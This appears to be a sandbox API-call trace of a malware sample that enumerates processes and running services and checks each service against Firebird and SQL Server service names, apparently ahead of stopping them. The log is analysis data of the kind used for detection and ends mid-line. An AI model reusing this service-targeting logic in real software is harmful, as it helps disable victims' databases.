[0206.148] lstrlenW (lpString="sihost.exe") returned 10 [0206.148] Process32NextW (in: hSnapshot=0x568, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0206.149] lstrlenW (lpString="svchost.exe") returned 11 [0206.149] Process32NextW (in: hSnapshot=0x568, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0206.149] lstrlenW (lpString="taskhostw.exe") returned 13 [0206.149] Process32NextW (in: hSnapshot=0x568, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1a8, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0206.149] lstrlenW (lpString="msoia.exe") returned 9 [0206.150] Process32NextW (in: hSnapshot=0x568, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0xa04, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0206.150] lstrlenW (lpString="explorer.exe") returned 12 [0206.150] Process32NextW (in: hSnapshot=0x568, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0206.150] lstrlenW (lpString="SearchUI.exe") returned 12 [0206.150] Process32NextW (in: hSnapshot=0x568, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0206.151] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0206.151] Process32NextW (in: hSnapshot=0x568, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0206.151] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0206.151] Process32NextW (in: hSnapshot=0x568, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0206.152] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0206.152] Process32NextW (in: hSnapshot=0x568, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0xa14, pcPriClassBase=8, dwFlags=0x0, szExeFile="WindowsSystem32file.pe32.exe")) returned 1 [0206.152] lstrlenW (lpString="WindowsSystem32file.pe32.exe") returned 28 [0206.152] Process32NextW (in: hSnapshot=0x568, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0206.153] lstrlenW (lpString="dllhost.exe") returned 11 [0206.153] Process32NextW (in: hSnapshot=0x568, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0206.153] CloseHandle (hObject=0x568) returned 1 [0206.153] Sleep (dwMilliseconds=0x1f4) [0206.900] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x447b210 [0206.932] EnumServicesStatusExW (in: hSCManager=0x447b210, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0) returned 0 [0206.933] GetLastError () returned 0xea [0206.933] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x1c30) returned 0x456b180 [0206.933] EnumServicesStatusExW (in: hSCManager=0x447b210, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x456b180, cbBufSize=0x1c30, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x456b180, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0) returned 1 [0206.934] CloseServiceHandle (hSCObject=0x447b210) returned 1 [0206.934] lstrlenW (lpString="Appinfo") returned 7 [0206.934] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0206.934] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0206.934] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0206.934] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0206.934] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0206.934] lstrlenW (lpString="AppXSvc") returned 7 [0206.934] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0206.934] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0206.934] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0206.934] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0206.934] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0206.934] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0206.934] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0206.935] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0206.935] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0206.935] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0206.935] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0206.935] lstrlenW (lpString="Audiosrv") returned 8 [0206.935] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0206.935] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0206.935] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0206.935] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0206.935] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0206.935] lstrlenW (lpString="BFE") returned 3 [0206.935] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0206.935] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0206.935] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0206.935] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0206.935] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0206.935] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0206.935] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0206.935] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0206.935] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0206.935] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0206.935] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0206.935] lstrlenW (lpString="CDPSvc") returned 6 [0206.935] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0206.935] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0206.935] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0206.935] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0206.935] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0206.935] lstrlenW (lpString="ClickToRunSvc") returned 13 [0206.935] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0206.935] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0206.935] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0206.935] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0206.935] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0206.936] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0206.936] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0206.936] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0206.936] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0206.936] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0206.936] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0206.936] lstrlenW (lpString="CryptSvc") returned 8 [0206.936] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0206.936] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0206.936] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0206.936] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0206.936] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0206.936] lstrlenW (lpString="DcomLaunch") returned 10 [0206.936] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0206.936] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0206.936] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0206.936] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0206.936] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0206.936] lstrlenW (lpString="DeviceAssociationService") returned 24 [0206.936] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0206.936] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0206.936] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0206.936] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0206.936] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0206.936] lstrlenW (lpString="Dhcp") returned 4 [0206.936] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0206.936] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0206.936] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0206.936] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0206.936] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0206.936] lstrlenW (lpString="Dnscache") returned 8 [0206.936] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0206.936] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0206.936] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0206.937] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0206.937] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0206.937] lstrlenW (lpString="DPS") returned 3 [0206.937] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0206.937] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0206.937] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0206.937] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0206.937] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0206.937] lstrlenW (lpString="DusmSvc") returned 7 [0206.937] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0206.937] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0206.937] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0206.937] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0206.937] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0206.937] lstrlenW (lpString="EventLog") returned 8 [0206.937] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0206.937] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0206.937] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0206.937] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0206.937] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0206.937] lstrlenW (lpString="EventSystem") returned 11 [0206.937] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0206.937] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0206.937] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0206.937] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0206.937] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0206.937] lstrlenW (lpString="FontCache") returned 9 [0206.937] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0206.937] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0206.937] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0206.937] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0206.937] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0206.937] lstrlenW (lpString="gpsvc") returned 5 [0206.938] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0206.938] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0206.938] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0206.938] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0206.938] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0206.938] lstrlenW (lpString="iphlpsvc") returned 8 [0206.938] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0206.938] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0206.938] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0206.938] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0206.938] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0206.938] lstrlenW (lpString="KeyIso") returned 6 [0206.938] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0206.938] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0206.938] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0206.938] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0206.938] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0206.938] lstrlenW (lpString="LanmanServer") returned 12 [0206.938] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0206.938] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0206.938] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0206.938] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0206.938] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0206.938] lstrlenW (lpString="LanmanWorkstation") returned 17 [0206.938] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0206.938] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0206.938] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0206.938] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0206.938] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0206.938] lstrlenW (lpString="lfsvc") returned 5 [0206.938] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0206.938] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0206.938] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0206.939] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0206.939] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0206.939] lstrlenW (lpString="lmhosts") returned 7 [0206.939] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0206.939] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0206.939] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0206.939] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0206.939] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0206.939] lstrlenW (lpString="LSM") returned 3 [0206.939] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0206.939] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0206.939] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0206.939] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0206.939] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0206.939] lstrlenW (lpString="MpsSvc") returned 6 [0206.939] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0206.939] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0206.939] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0206.939] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0206.939] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0206.939] lstrlenW (lpString="NcbService") returned 10 [0206.939] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0206.939] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0206.939] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0206.939] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0206.939] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0206.939] lstrlenW (lpString="netprofm") returned 8 [0206.939] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0206.939] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0206.939] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0206.939] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0206.939] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0206.939] lstrlenW (lpString="NgcSvc") returned 6 [0206.939] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0206.940] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0206.940] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0206.940] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0206.940] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0206.940] lstrlenW (lpString="NlaSvc") returned 6 [0206.940] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0206.940] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0206.940] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0206.940] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0206.940] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0206.940] lstrlenW (lpString="nsi") returned 3 [0206.940] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0206.940] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0206.940] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0206.940] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0206.940] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0206.940] lstrlenW (lpString="PcaSvc") returned 6 [0206.940] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0206.940] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0206.940] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0206.940] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0206.940] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0206.940] lstrlenW (lpString="PlugPlay") returned 8 [0206.940] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0206.940] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0206.940] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0206.940] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0206.940] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0206.940] lstrlenW (lpString="Power") returned 5 [0206.940] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0206.940] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0206.940] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0206.940] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0206.940] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0206.941] lstrlenW (lpString="ProfSvc") returned 7 [0206.941] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0206.941] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0206.941] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0206.941] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0206.941] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0206.941] lstrlenW (lpString="RpcEptMapper") returned 12 [0206.941] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0206.941] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0206.941] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0206.941] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0206.941] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0206.941] lstrlenW (lpString="RpcSs") returned 5 [0206.941] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0206.941] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0206.941] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0206.941] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0206.941] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0206.941] lstrlenW (lpString="SamSs") returned 5 [0206.941] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0206.941] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0206.941] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0206.941] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0206.941] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0206.941] lstrlenW (lpString="Schedule") returned 8 [0206.941] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0206.941] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0206.941] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0206.941] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0206.941] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0206.941] lstrlenW (lpString="SecurityHealthService") returned 21 [0206.941] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0206.941] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0206.942] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0206.942] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0206.942] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0206.942] lstrlenW (lpString="SENS") returned 4 [0206.942] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0206.942] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0206.942] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0206.942] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0206.942] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0206.942] lstrlenW (lpString="ShellHWDetection") returned 16 [0206.942] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0206.942] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0206.942] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0206.942] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0206.942] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0206.942] lstrlenW (lpString="Spooler") returned 7 [0206.942] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0206.942] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0206.942] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 